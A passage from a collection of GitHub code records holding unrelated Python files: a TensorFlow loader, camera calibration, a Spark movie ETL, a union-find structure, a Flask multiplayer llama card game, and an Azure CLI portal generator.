tf.add(class_loss, l2_loss, 'total_loss')\n\n self.losses = {\n 'class': class_loss,\n 'l2': l2_loss,\n 'total': total_loss\n }\n\n\n def build_optimizer(self, lr=0.001, adam_eps=0.1, var_init=True, resnet_path=None, patch_model_path=None, total_model_path=None):\n self._build_resnet(resnet_path)\n self._build_graph(patch_model_path)\n self.global_step = tf.Variable(0, trainable=False, name='global_step')\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n\n with tf.variable_scope('optimizer'):\n optimizer = tf.train.AdamOptimizer(learning_rate=lr, epsilon=adam_eps)\n with tf.control_dependencies(update_ops):\n self.train_op = optimizer.minimize(self.losses['total'], global_step=self.global_step)\n\n self.total_model_saver = tf.train.Saver(max_to_keep=3)\n if total_model_path is not None:\n print(\"Loading total model from :{}\".format(total_model_path))\n self.total_model_saver.restore(self.sess, total_model_path)\n\n if var_init:\n selective_initializer(self.sess, self.graph)\n\n def predict(self, is_training=False):\n loose_probs, patch_probs, labels = self.sess.run([self.loose_prob, self.patch_probs, self.labels],\n feed_dict={self.is_training: is_training})\n\n return loose_probs, patch_probs, labels\n\n def score(self, is_training=False):\n # for binary classification only\n loose_probs, singles = self.sess.run([self.loose_prob, self.singles], feed_dict={self.is_training: is_training})\n\n return loose_probs, singles\n\n def for_activation_map(self, is_training=False):\n loose_probs, singles, patches = self.sess.run([self.loose_prob, self.singles, self.patch_probs],\n feed_dict={self.is_training: is_training})\n\n return loose_probs, singles, patches\n\n def write_graph(self):\n writer = tf.summary.FileWriter('./logs/graphs', self.graph)","repo_name":"GeneKitamura/PTX","sub_path":"load_models.py","file_name":"load_models.py","file_ext":"py","file_size_in_byte":7410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40044553495","text":"import numpy as np\nimport cv2\nimport glob\n\nDATA_DIR = '/Users/ppangppang/Documents/dev/cv/data/Calibration_Imgs/'\nDEBUG_DIR = '/Users/ppangppang/Documents/dev/cv/data/getConers/'\nPATTERN_SIZE = (9, 6)\nSQUARE_SIZE = 1.0\n\n\ndef getChessboardCorners(images=None, visualize=True):\n ## 실제 좌표계 object point init\n ## 실제 좌표계에서 (0,0), (0,1) ... (9,6)까지의 54개 좌표 위치를 물리적으로 지정\n objp = np.zeros((PATTERN_SIZE[1] * PATTERN_SIZE[0], 3), np.float32)\n objp[:, :2] = np.mgrid[0:9, 0:6].T.reshape(-1, 2)\n objp *= SQUARE_SIZE\n\n image_points = []\n object_points = []\n correspondences = []\n ctr = 0\n images = [each for each in glob.glob(DATA_DIR + \"*.jpg\")]\n images = sorted(images)\n for path in images: # images:\n img = cv2.imread(path, 0)\n ret, corners = cv2.findChessboardCorners(img, patternSize=PATTERN_SIZE)\n if ret:\n ## (54,2) 형태로 reshape\n corners = corners.reshape(-1, 2)\n if corners.shape[0] == objp.shape[0]:\n image_points.append(corners) \n ## chess board의 world 좌표를 z=0을 가지도록 x,y만 사용(크기와 구조를 알고 있으므로)\n object_points.append(objp[:,:-1])\n correspondences.append([corners.astype(np.int), objp[:, :-1].astype(np.int)])\n ## cv2.findChessboardCorners로 찾은 corner 시각화\n if visualize:\n # Draw and display the corners\n ec = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR)\n cv2.drawChessboardCorners(ec, PATTERN_SIZE, corners, ret)\n cv2.imwrite(DEBUG_DIR + 'getCorners ' + str(ctr) + \".png\", ec)\n else:\n print(\"Error in detection points\", ctr)\n\n ctr += 1\n\n return correspondences\n\n\ndef get_normalization_matrix(pts, name):\n \"\"\"\n 실질적으로 normalize 하는 함수(image, opt 구분해서 input)\n :param pts: point 값\n :param name: objects points or image points\n :return: normalisation and inverse normalisation matrix\n \"\"\"\n # changing the type of points\n pts = pts.astype(np.float64)\n\n # 좌표의 mean, var, standard deviation 연산\n x_mean, y_mean = np.mean(pts, axis=0)\n x_var, y_var = np.var(pts, axis=0)\n s_x = np.sqrt(2 / x_var)\n s_y = np.sqrt(2 / y_var)\n\n # normalisation matrix\n n_matrix = np.array([[s_x, 0, -s_x * x_mean],\n [0, s_y, -s_y * y_mean],\n [0, 0, 1]])\n\n # inverse of normalisation matrix\n n_matrix_inv = np.array([[1.0/s_x, 0, x_mean],\n [0, 1.0/s_y, y_mean],\n [0, 0, 1]])\n\n return n_matrix.astype(np.float64), n_matrix_inv.astype(np.float64)\n\n\ndef normalize_points(chessboard_correspondences):\n \"\"\"\n image 좌표와 object 좌표 normalize\n :param chessboard_correspondences: corresponding points\n :return:\n \"\"\"\n ret_correspondences = []\n\n for i in range(len(chessboard_correspondences)):\n\n image_points, object_points = chessboard_correspondences[i]\n\n # image points\n homogenous_image_pts = np.array([[[pt[0]], [pt[1]], [1.0]] for pt in image_points])\n normalized_hom_imp = homogenous_image_pts\n n_matrix_imp, n_matrix_imp_inv = get_normalization_matrix(image_points, \"image points\")\n\n # object points\n homogenous_object_pts = np.array([[[pt[0]], [pt[1]], [1.0]] for pt in object_points])\n normalized_hom_objp = homogenous_object_pts\n n_matrix_obp, n_matrix_obp_inv = get_normalization_matrix(object_points, \"object points\")\n\n for i in range(normalized_hom_objp.shape[0]):\n\n # object point 정규화\n n_o = np.matmul(n_matrix_obp, normalized_hom_objp[i])\n normalized_hom_objp[i] = n_o / n_o[-1]\n\n # image point 정규화\n n_u = np.matmul(n_matrix_imp, normalized_hom_imp[i])\n normalized_hom_imp[i] = n_u / n_u[-1]\n\n normalized_objp = normalized_hom_objp.reshape(normalized_hom_objp.shape[0], normalized_hom_objp.shape[1])\n normalized_imp = normalized_hom_imp.reshape(normalized_hom_imp.shape[0], normalized_hom_imp.shape[1])\n\n normalized_objp = normalized_objp[:, :-1]\n normalized_imp = normalized_imp[:, :-1]\n\n ret_correspondences.append((image_points, object_points, normalized_imp, normalized_objp, n_matrix_imp,\n n_matrix_obp, n_matrix_imp_inv, n_matrix_obp_inv))\n\n return ret_correspondences","repo_name":"PpangPpang93/computer_vision","sub_path":"src/get_corners.py","file_name":"get_corners.py","file_ext":"py","file_size_in_byte":4635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2849579183","text":"# 1588 - Sum of All Odd Length Subarrays\n\nclass Solution:\n\tdef sumOddLengthSubarrays(self, arr: List[int]) -> int:\n\t\tresult = 0\n\t\tfor i in range(len(arr)):\n\t\t\tcount, sum = 0, 0\n\t\t\tfor j in range(i, len(arr)):\n\t\t\t\tsum += arr[j]\n\t\t\t\tcount += 1\n\n\t\t\t\tif count % 2 == 1:\n\t\t\t\t\tresult += sum\n\t\treturn result\n","repo_name":"amoddhopavkar2/LeetCode-Problems","sub_path":"1588_sum_of_all_odd_len_subarrays.py","file_name":"1588_sum_of_all_odd_len_subarrays.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11638653922","text":"#!/usr/bin/env python\n# coding: utf-8\n\nfrom pyspark.sql import *\nfrom pyspark import SparkContext, SparkConf\nfrom pyspark.ml.recommendation import ALS, ALSModel\nfrom pyspark.ml.evaluation import RegressionEvaluator\nfrom pyspark.sql.functions import monotonically_increasing_id\nimport os\nfrom collections import namedtuple\nimport pandas as pd\nimport numpy as np\nimport datetime\nimport pickle\nfrom itertools import product\nimport collections\n\nappName = 'seven_mtimes'\nmaster = 'local[*]'\ndbName = 'seven_mtimes'\npqPath = '/seven_mtimes/temp'\nmodelPath = '/seven_mtimes/model'\nmovie_path = r'../data/movie.csv'\nuser_path = r'../data/user.csv'\n\nspark = SparkSession.builder.appName(appName).master(master).config('spark.sql.catalogImplementation',\n 'hive').getOrCreate()\nspark.sql('create database if not exists %s' % dbName)\nspark.sql('use %s' % dbName)\n\nMovie = namedtuple('Movie', ['id', 'name', 'genres', 'actors', 'district', 'directors', 'traits', 'rating'])\nName = namedtuple('Name', ['id', 'name', 'movies'])\nRating = namedtuple('Rating', ['uid', 'mid', 'time', 'rating'])\n\n\ndef show_table(table):\n res = spark.sql('select * from %s' % table)\n res.show()\n\n\ndef put_to_hive(df, table, cols):\n df = spark.createDataFrame(df)\n tmp = os.path.join(pqPath, table)\n df.write.mode('overwrite').parquet(tmp)\n spark.sql(\"drop table if exists %s\" % table)\n spark.sql(\"create table if not exists %s(%s) stored as parquet\" % (table, cols))\n spark.sql(\"load data inpath '%s' overwrite into table %s\" % (tmp, table))\n\n\n# used to actor/director/genre/trait/district collection\n# return the id and put the new name in the dict\ndef get_name_id(name_map, name, mid):\n if name in name_map:\n name_item = name_map[name]\n name_item.movies.add(mid)\n nid = name_item.id\n else:\n nid = len(name_map)\n name_item = Name(nid, name, set([mid]))\n name_map[name] = name_item\n return nid\n\n\n# movie_df contains redundant records\n# 剧情,徐峥|王传君|周一围|谭卓|章宇,中国大陆,文牧野,经典,8.9,我不是药神\n# 剧情,徐峥|王传君|周一围|谭卓|章宇,中国大陆,文牧野,感人,8.9,我不是药神\n# 喜剧,徐峥|王传君|周一围|谭卓|章宇,中国大陆,文牧野,经典,9.0,我不是药神\n# 喜剧,徐峥|王传君|周一围|谭卓|章宇,中国大陆,文牧野,搞笑,9.0,我不是药神\n# 喜剧,徐峥|王传君|周一围|谭卓|章宇,中国大陆,文牧野,感人,9.0,我不是药神\n# 犯罪,徐峥|王传君|周一围|谭卓|章宇,中国大陆,文牧野,感人,9.0,我不是药神\n# 犯罪,徐峥|王传君|周一围|谭卓|章宇,中国大陆,文牧野,搞笑,9.0,我不是药神\ndef process_movie_df():\n movie_df = pd.read_csv(movie_path, header=0,\n names=['genre', 'actor', 'district', 'director', 'trait', 'rating', 'name']);\n movie_map = collections.OrderedDict()\n genre_map = collections.OrderedDict()\n actor_map = collections.OrderedDict()\n trait_map = collections.OrderedDict()\n director_map = collections.OrderedDict()\n district_map = collections.OrderedDict()\n\n # genre actors district directors trait rating name\n for _, row in movie_df.iterrows():\n genre, actors, district, directors, trait, rating, movie_name = row\n if movie_name in movie_map:\n movie_record = movie_map[movie_name]\n mid = movie_record.id\n else:\n mid = len(movie_map)\n district_id = get_name_id(district_map, district, mid)\n actors = [get_name_id(actor_map, actor_name, mid) for actor_name in actors.split('|')]\n directors = [get_name_id(director_map, director_name, mid) for director_name in directors.split('|')]\n movie_record = Movie(mid, movie_name, set(), actors, district_id, directors, set(), rating)\n movie_map[movie_name] = movie_record\n genre_id = get_name_id(genre_map, genre, mid)\n trait_id = get_name_id(trait_map, trait, mid)\n movie_record.genres.add(genre_id)\n movie_record.traits.add(trait_id)\n\n rating_list = [row.rating for row in movie_map.values()]\n maps = (movie_map, trait_map, genre_map, actor_map, district_map, director_map)\n\n dfs = [pd.DataFrame.from_dict(df_map, orient='index').reset_index(drop=True) for df_map in maps]\n movie_df = dfs[0]\n movie_df.loc[:, ['genres', 'traits']] = movie_df[['genres', 'traits']].applymap(lambda x: list(x))\n for df in dfs[1:]:\n df['movies'] = df['movies'].apply(lambda x: sorted(list(x), key=lambda mid: rating_list[mid], reverse=True))\n return dfs\n\n\n# save to hive\ndef movie_df_to_hive(movie_df, trait_df, genre_df, actor_df, district_df, director_df):\n params = ((movie_df, 'movie',\n 'id bigint, name string, genres array, actors array, district bigint, directors array, traits array, rating double'),\n (actor_df, 'actor', 'id bigint, name string, movies array'),\n (director_df, 'director', 'id bigint, name string, movies array'),\n (genre_df, 'genre', 'id bigint, name string, movies array'),\n (district_df, 'district', 'id bigint, name string, movies array'),\n (trait_df, 'trait', 'id bigint, name string, movies array')\n )\n for param in params:\n df = param[0]\n put_to_hive(*param)\n\n\ndef process_rating_df():\n rating_df = pd.read_csv(user_path, header=0, index_col=False, names=['rating', 'name', 'time', 'uid', 'movie'],\n parse_dates=['time'])\n movie_df = spark.sql('select id, name, rating from movie').toPandas()\n movie_map = {row['name']: row['id'] for _, row in movie_df.iterrows()}\n rating_list = movie_df['rating'].tolist()\n user_map = collections.OrderedDict()\n print('csv rows ', len(rating_df))\n rating_map = collections.OrderedDict()\n for _, row in rating_df.iterrows():\n rating, user_name, time, uid, movie_name = row\n\n mid = movie_map[movie_name]\n uid = get_name_id(user_map, user_name, mid)\n rating_key = (uid, mid)\n if rating_key in rating_map:\n continue\n rating_record = Rating(uid, mid, time, rating)\n rating_map[rating_key] = rating_record\n\n rating_df = pd.DataFrame.from_dict(rating_map, orient='index').reset_index(drop=True)\n user_df = pd.DataFrame.from_dict(user_map, orient='index').reset_index(drop=True)\n user_df['movies'] = user_df['movies'].apply(\n lambda x: sorted(list(x), key=lambda mid: rating_list[mid], reverse=True))\n for df in (user_df, rating_df):\n df['id'] = df.index\n return rating_df, user_df\n\n\ndef user_df_to_hive(rating_df, user_df):\n params = ((rating_df, 'rating', 'id bigint, uid bigint, mid bigint, time timestamp, rating bigint'),\n (user_df, 'user', 'id bigint, name string, movies array'))\n for param in params:\n put_to_hive(*param)\n\n\nif __name__ == '__main__':\n movie_df, trait_df, genre_df, actor_df, district_df, director_df = process_movie_df()\n movie_df_to_hive(movie_df, trait_df, genre_df, actor_df, district_df, director_df)\n rating_df, user_df = process_rating_df()\n user_df_to_hive(rating_df, user_df)\n print('movies %d, director %d, actors %d, users %d, ratings %d' %\n (len(movie_df), len(director_df), len(actor_df), len(user_df), len(rating_df)))\n","repo_name":"cleanerleon/mtimes","sub_path":"scripts/etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":7516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13257904721","text":"import utils\n\nmodel = utils.Net()\n\nparam_size = 0\nfor param in model.parameters():\n param_size += param.nelement() * param.element_size()\nbuffer_size = 0\nfor buffer in model.buffers():\n buffer_size += buffer.nelement() * buffer.element_size()\n\nsize_all_bits = (param_size + buffer_size) * 8\nprint(size_all_bits)\n","repo_name":"chen-rz/Federated-Learning-Simulation","sub_path":"get_model_size.py","file_name":"get_model_size.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"26461697175","text":"N = int(input())\nA = [float(n) for n in input().split()]\nM = int(input())\nIND = [int(n) for n in input().split()]\n\nsum = 0\n\nfor i in IND:\n sum += A[i]\n\nprint(sum)\n","repo_name":"Rubenssio/ACA-ML0-Course","sub_path":"Python_Lessons/Classwork_3/index_sum.py","file_name":"index_sum.py","file_ext":"py","file_size_in_byte":166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20475199103","text":"# each player has 6 cards\n# deck is 8 copies of cards 1-6 and llamas\n\nimport random\nimport json\nimport copy\n\nfrom jinja2 import Environment, FileSystemLoader\nenv = Environment(loader=FileSystemLoader('templates'))\n\n\nclass player(object):\n def __init__(self, session_id, name, sock_id):\n self.session_id = session_id\n self.name = name\n self.sock_id = sock_id\n self.cards = []\n self.face_card = None\n self.points = 0\n self.point_history = []\n self.active = True\n self.last_action = ''\n\ndef get_deck(num_cards=56):\n cards = []\n while len(cards) < num_cards:\n for i in range(0, 7):\n cards.append(i)\n random.shuffle(cards)\n return cards\n\ndef get_card_name(card_num):\n if card_num == 6:\n return 'llama'\n return str(card_num+1)\n\nclass game(object):\n def __init__(self):\n self.players = []\n self.spectators = []\n self.state = 'wait'\n self.current_player = None\n\n def join(self, session_id, player_name, sock_id):\n for x in self.players:\n if x.session_id == session_id:\n print('updating existing player with new sock and name')\n x.sock_id = sock_id\n x.name = player_name\n return\n x = player(session_id, player_name, sock_id)\n if self.state != 'wait':\n print('got a request to join a pre-started game')\n self.spectators.append(x)\n else:\n self.players.append(x)\n\n def draw_card(self):\n return self.draw_cards(1)[0]\n\n def draw_cards(self, n):\n cards = self.deck[:n]\n assert(len(cards) == n)\n self.deck = self.deck[n:]\n return cards\n\n def start(self):\n if self.state != 'wait':\n print('got start game for game that is not in wait state')\n return\n self.state = 'playing'\n self._setup_round()\n\n def reset(self):\n self.state = 'wait'\n self.players.extend(self.spectators)\n self.spectators = []\n for x in self.players:\n x.points = 0\n x.point_history = []\n self._setup_round()\n\n def _setup_round(self):\n num_cards = max(56, len(self.players)*8)\n self.deck = get_deck(num_cards)\n for x in self.players:\n x.cards = self.draw_cards(6)\n x.active = True\n x.last_action = ''\n self.current_player = random.randint(0, len(self.players)-1)\n self.face_card = self.draw_card()\n self.can_draw = True\n self.play_sound = ''\n\n def advance_player(self):\n num_active = sum(int(x.active) for x in self.players)\n if num_active == 0:\n return self.handle_round_end()\n if num_active == 1:\n self.can_draw = False\n\n last_player = self.current_player\n while 1:\n self.current_player = (self.current_player + 1) % len(self.players)\n if self.players[self.current_player].active:\n break\n\n def get_points(self, cards):\n points = 0\n for card in set(cards):\n if card == 6:\n points += 10\n else:\n points += card+1\n return points\n\n def handle_round_end(self):\n game_end = False\n for x in self.players:\n points = self.get_points(x.cards)\n if points == 0:\n if x.points >= 10:\n points = -10\n else:\n # intentially allow negative points when x.points == 0, for fun!\n points = -1\n x.points += points\n x.point_history.append(points)\n if x.points >= 40:\n game_end = True\n\n if game_end:\n print('end of game')\n self.state = 'end'\n self.play_sound = 'end-of-game'\n else:\n print('end of round')\n self._setup_round()\n self.play_sound = 'end-of-round'\n\n\n def _get_player(self, session_id):\n for i, x in enumerate(self.players):\n if x.session_id == session_id:\n return x, i == self.current_player\n raise KeyError(session_id)\n\n def handle_draw_card(self, session_id):\n player, is_active = self._get_player(session_id)\n if not is_active:\n print('got action for non-active player; ignoring!')\n return\n player.cards.append(self.draw_card())\n player.last_action = 'drew a card';\n self.play_sound = ''\n self.advance_player()\n\n def _can_play(self, card):\n return card == self.face_card or card == ((self.face_card+1) % 7)\n\n def handle_play_card(self, session_id, card):\n player, is_active = self._get_player(session_id)\n if not is_active:\n print('got action for non-active player; ignoring!')\n return\n if not self._can_play(card):\n print('got an illegal move; ignoring!')\n return\n print(f'removing {card}')\n player.cards.remove(card)\n if not player.cards:\n self.handle_round_end()\n return\n self.face_card = card\n player.last_action = 'played a ' + get_card_name(card)\n if card == 6:\n self.play_sound = 'llama'\n else:\n self.play_sound = 'bip'\n self.advance_player()\n\n def handle_pass(self, session_id):\n player, is_active = self._get_player(session_id)\n if not is_active:\n print('got action for non-active player; ignoring!')\n return\n player.active = False;\n player.last_action = 'passed'\n self.play_sound = 'pass'\n self.advance_player()\n\n def kick_user(self, session_id):\n print(f'kicking {session_id}')\n if self.state == 'wait':\n self.players = [x for x in self.players if x.session_id != session_id]\n else:\n player, is_active = self._get_player(session_id)\n player.last_action = 'kicked'\n player.active = False\n if is_active:\n self.advance_player()\n\n\n def send_state(self):\n if self.state == 'wait':\n state = {\n 'state': 'wait',\n 'players': [\n {\n 'name': x.name,\n 'session_id': x.session_id,\n }\n for x in self.players\n ],\n }\n for i, x in enumerate(self.players):\n print(f'sending state to {x.sock_id}')\n state['you'] = i\n emit('state', state, room=x.sock_id)\n return\n\n if self.state == 'playing':\n pub_state = {\n 'state': 'playing',\n 'players': [\n {\n 'name': x.name,\n 'cards': len(x.cards),\n 'points': x.points,\n 'point_history': x.point_history,\n 'still_in': x.active,\n 'last_action': x.last_action,\n 'session_id': x.session_id,\n }\n for x in self.players\n ],\n 'current_player': self.current_player,\n 'face_card': self.face_card,\n 'deck_size': len(self.deck),\n 'can_draw': self.can_draw,\n 'sound': self.play_sound,\n }\n for i, x in enumerate(self.players):\n state = copy.deepcopy(pub_state)\n state['active'] = bool(i == self.current_player)\n state['cards'] = x.cards\n state['you'] = i\n emit('state', state, room=x.sock_id)\n\n for i, x in enumerate(self.spectators):\n state = copy.deepcopy(pub_state)\n state['you'] = -1\n emit('state', state, room=x.sock_id)\n\n return\n\n if self.state == 'end':\n state = {\n 'state': 'end',\n 'players': [\n {'name': x.name, 'points': x.points, 'point_history': x.point_history}\n for x in self.players\n ],\n }\n for i, x in enumerate(self.players):\n state['you'] = i\n emit('state', state, room=x.sock_id)\n for i, x in enumerate(self.spectators):\n state['you'] = -1\n emit('state', state, room=x.sock_id)\n return\n\n assert 0, f'unhandled state: {self.state}'\n\nnicknames = {}\ndef get_nickname(session_id):\n return nicknames.get(session_id, '')\n\ndef store_nickname(session_id, nick):\n nicknames[session_id] = nick\n\ngames = {}\ndef get_or_create_game(game_id):\n if game_id not in games:\n g = game()\n games[game_id] = g\n else:\n g = games[game_id]\n return g\n\nfrom flask import Flask, request, make_response, send_from_directory\nfrom flask_socketio import SocketIO, send, emit\nfrom functools import wraps\nimport uuid\n\ndef set_session_cookie(f):\n @wraps(f)\n def decorated_function(*args, **kws):\n #your code here\n sid = request.cookies.get('sid', str(uuid.uuid4()))\n kws['sid'] = sid\n resp = f(*args, **kws)\n if isinstance(resp, str):\n resp = make_response(resp)\n if 'sid' not in request.cookies:\n resp.set_cookie('sid', sid)\n return resp\n return decorated_function\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'secret!'\nsocketio = SocketIO(app)\n\ndef encode_string_singlequote(s):\n return '\\'' + s.replace('\\'', '\\\\\\'') + '\\'';\n\n@app.route('/')\n@set_session_cookie\ndef index(sid):\n print(f'sid: {sid}')\n return env.get_template('index.html').render()\n\n@app.route('/game/')\n@set_session_cookie\ndef hello_world(game_id, sid):\n print(f'sid: {sid}')\n nick = get_nickname(sid)\n return env.get_template('game.html').render(\n game_id=game_id,\n nick=encode_string_singlequote(nick),\n )\n\n@app.route('/static/')\ndef serve_static_content(path):\n return send_from_directory('static', path)\n\n@app.route('/favicon.ico')\ndef serve_favicon():\n return send_from_directory('static', 'img/cake.png')\n\n@socketio.on('connect')\ndef handle_connect():\n sid = request.cookies['sid']\n if not sid:\n print('no sid')\n return\n addr = request.environ['REMOTE_ADDR']\n port = request.environ['REMOTE_PORT']\n sock_id = request.sid\n print(f'received connect event: {addr}:{port} sid={sid} sock_id={sock_id}')\n\n# TODO this isn't getting called\n@socketio.on('disconnect')\ndef handle_disconnect():\n print('disconnect')\n print(request.sid)\n sid = request.cookies['sid']\n print(sid)\n\n@socketio.on('join_game')\ndef handle_json(e):\n sid = request.cookies['sid']\n if not sid:\n print('no sid')\n return\n\n addr = request.environ['REMOTE_ADDR']\n port = request.environ['REMOTE_PORT']\n sock_id = request.sid\n print(f'received join_game event: {addr}:{port} sid={sid} sock_id={sock_id}')\n\n g = get_or_create_game(e['game_id'])\n store_nickname(sid, e['name'])\n g.join(sid, e['name'], request.sid)\n g.send_state()\n\n@socketio.on('start_game')\ndef handle_start_game(e):\n sid = request.cookies['sid']\n if not sid:\n print('no sid')\n return\n\n addr = request.environ['REMOTE_ADDR']\n port = request.environ['REMOTE_PORT']\n sock_id = request.sid\n print(f'received start_game event: {addr}:{port} sid={sid} sock_id={sock_id}')\n\n g = get_or_create_game(e['game_id'])\n g.start();\n g.send_state()\n\n@socketio.on('draw_card')\ndef handle_start_game(e):\n sid = request.cookies['sid']\n if not sid:\n print('no sid')\n return\n\n g = get_or_create_game(e['game_id'])\n g.handle_draw_card(sid)\n g.send_state()\n\n@socketio.on('play_card')\ndef handle_start_game(e):\n sid = request.cookies['sid']\n if not sid:\n print('no sid')\n return\n\n g = get_or_create_game(e['game_id'])\n g.handle_play_card(sid, e['card'])\n g.send_state()\n\n@socketio.on('pass')\ndef handle_start_game(e):\n sid = request.cookies['sid']\n if not sid:\n print('no sid')\n return\n\n g = get_or_create_game(e['game_id'])\n g.handle_pass(sid)\n g.send_state()\n\n@socketio.on('kick_user')\ndef handle_kick_user(e):\n sid = request.cookies['sid']\n if not sid:\n print('no sid')\n return\n\n addr = request.environ['REMOTE_ADDR']\n port = request.environ['REMOTE_PORT']\n sock_id = request.sid\n print(f'received start_game event: {addr}:{port} sid={sid} sock_id={sock_id}')\n\n g = get_or_create_game(e['game_id'])\n g.kick_user(e['player_sid']);\n g.send_state()\n\n@socketio.on('reset_game')\ndef handle_start_game(e):\n sid = request.cookies['sid']\n if not sid:\n print('no sid')\n return\n\n addr = request.environ['REMOTE_ADDR']\n port = request.environ['REMOTE_PORT']\n sock_id = request.sid\n print(f'received start_game event: {addr}:{port} sid={sid} sock_id={sock_id}')\n\n g = get_or_create_game(e['game_id'])\n g.reset();\n g.send_state()\n\ndef get_host():\n import netifaces\n for interface in ('eth0','wlp2s0','enp41s0'):\n try:\n return netifaces.ifaddresses(interface)[netifaces.AF_INET][0]['addr']\n except:\n pass\n return '127.0.0.1'\n\nif __name__ == '__main__':\n host = get_host()\n print(host)\n debug = host.startswith('192.')\n socketio.run(app, debug=debug, host=host, port=5001)\n\n","repo_name":"alexcb/LLAMA","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":13725,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"25857528473","text":"\"\"\"\n(どこかにバグあり)\n入力例:\n5 12\n0 1 4\n0 2 3\n1 1 2\n1 3 4\n1 1 4\n1 3 2\n0 1 3\n1 2 4\n1 3 0\n0 0 4\n1 0 2\n1 3 0\n\n出力:\n0\n0\n1\n1\n1\n0\n1\n1\n\"\"\"\n\n\nclass DisjointSet:\n def __init__(self, size):\n self.rank = [0] * size # rank[x]:ノードxを木の親としたときの木の高さ\n self.p = [0] * size # p[x]:ノードxの親\n\n for i in range(n):\n self.p[i] = i # 自分自身を親\n self.rank[i] = 0 # 最初は自分だけなので木の高さは0\n\n def same(self, x, y): # xとyが同じ集合に属しているのかどうかを確認\n return (self.findSet(x) == self.findSet(y))\n\n def unite(self, x, y): # 結合\n self.link(self.findSet(x), self.findSet(y))\n\n def link(self, x_root, y_root): # x_root(y_root):x(y)が属する集合の親\n if (self.rank[x_root] > self.rank[y_root]):\n self.p[y_root] = x_root\n else:\n self.p[x_root] = y_root\n if self.rank[x_root] == self.rank[y_root]:\n self.rank[y_root] += 1\n\n def findSet(self, x): # xが属する集合の親を返す\n if x != self.p[x]:\n self.p[x] = self.findSet(self.p[x])\n\n return self.p[x]\n\n\nn, q = map(int, input().split())\nds = DisjointSet(n)\n\nfor _ in range(q):\n com, a, b = map(int, input().split())\n if com == 0: # uniteの場合\n ds.unite(a, b) # 要素aと要素bを持つ集合を結合\n else: # sameの場合\n if ds.same(a, b):\n print(1)\n else:\n print(0)\n","repo_name":"KawaharaSyuichi/algorithms","sub_path":"AdvancedDataStructure/UnionFindTree.py","file_name":"UnionFindTree.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40172237040","text":"\nfrom flask import Blueprint\nimport click, logging\nfrom utils.config import Config\nfrom cli.controller.portal_cli_generator import PortalCliGenerator\n\nlogging.basicConfig(level=\"INFO\")\n\nbp = Blueprint('portal', __name__, url_prefix='/CLI/Portal')\n\n# commands\n@bp.cli.command(\"generate\", short_help=\"Generate command portal json file.\")\n@click.option(\n \"--aaz-path\", '-a',\n type=click.Path(file_okay=False, dir_okay=True, writable=True, readable=True, resolve_path=True),\n default=Config.AAZ_PATH,\n required=not Config.AAZ_PATH,\n callback=Config.validate_and_setup_aaz_path,\n expose_value=False,\n help=\"The local path of aaz repo.\"\n)\n@click.option(\n \"--cli-path\", '-c',\n type=click.Path(file_okay=False, dir_okay=True, writable=True, readable=True, resolve_path=True),\n default=Config.CLI_PATH,\n required=not Config.CLI_PATH,\n callback=Config.validate_and_setup_cli_path,\n expose_value=False,\n help=\"The local path of azure-cli repo. Official repo is https://github.com/Azure/azure-cli\"\n)\n@click.option(\n \"--cli-extension-path\", '-e',\n type=click.Path(file_okay=False, dir_okay=True, writable=True, readable=True, resolve_path=True),\n default=Config.CLI_EXTENSION_PATH,\n required=not Config.CLI_EXTENSION_PATH,\n callback=Config.validate_and_setup_cli_extension_path,\n expose_value=False,\n help=\"The local path of azure-cli-extension repo. Official repo is https://github.com/Azure/azure-cli-extensions\"\n)\n@click.option(\n \"--module\", '-m',\n required=True, multiple=True,\n help=\"Name of the module to generate seperated.\"\n)\ndef generate_module_command_portal(module):\n from cli.controller.az_module_manager import AzMainManager, AzExtensionManager\n from command.controller.specs_manager import AAZSpecsManager\n az_main_manager = AzMainManager()\n az_ext_manager = AzExtensionManager()\n aaz_spec_manager = AAZSpecsManager()\n root = aaz_spec_manager.find_command_group()\n if not root:\n return \"Command group spec root not exist\"\n portal_cli_generator = PortalCliGenerator()\n for mod in module:\n if az_main_manager.has_module(mod):\n cli_module = az_main_manager.load_module(mod)\n registered_cmds = az_main_manager.find_module_cmd_registered(cli_module['profiles']['latest'])\n logging.info(\"Input module: {0} in cli\".format(mod))\n elif az_ext_manager.has_module(mod):\n cli_module = az_ext_manager.load_module(mod)\n registered_cmds = az_ext_manager.find_module_cmd_registered(cli_module['profiles']['latest'])\n logging.info(\"Input module: {0} in cli extension\".format(mod))\n else:\n raise ValueError(\"Invalid input module: {0}, please check\".format(mod))\n cmd_portal_list = portal_cli_generator.generate_cmds_portal_info(aaz_spec_manager, registered_cmds)\n portal_cli_generator.generate_cmds_portal_file(cmd_portal_list)\n logging.info(\"done\")\n","repo_name":"Azure/aaz-dev-tools","sub_path":"src/aaz_dev/cli/api/portal.py","file_name":"portal.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"} +{"seq_id":"13357609655","text":"#!/usr/bin/env python3\n\nimport sys\nimport struct\nfrom pathlib import Path\n\nimport numpy as np\nimport eos\n\nFAR_DIR = Path(__file__).resolve().parents[1]\nif not str(FAR_DIR) in sys.path:\n\tsys.path.append(str(FAR_DIR))\nfrom lib.far_model import FARModel\n\n\nDIR = FAR_DIR / 'data/FaceGen'\n\nTRI_FILE = DIR / \"HeadHires.tri\"\nEGM_FILE = DIR / 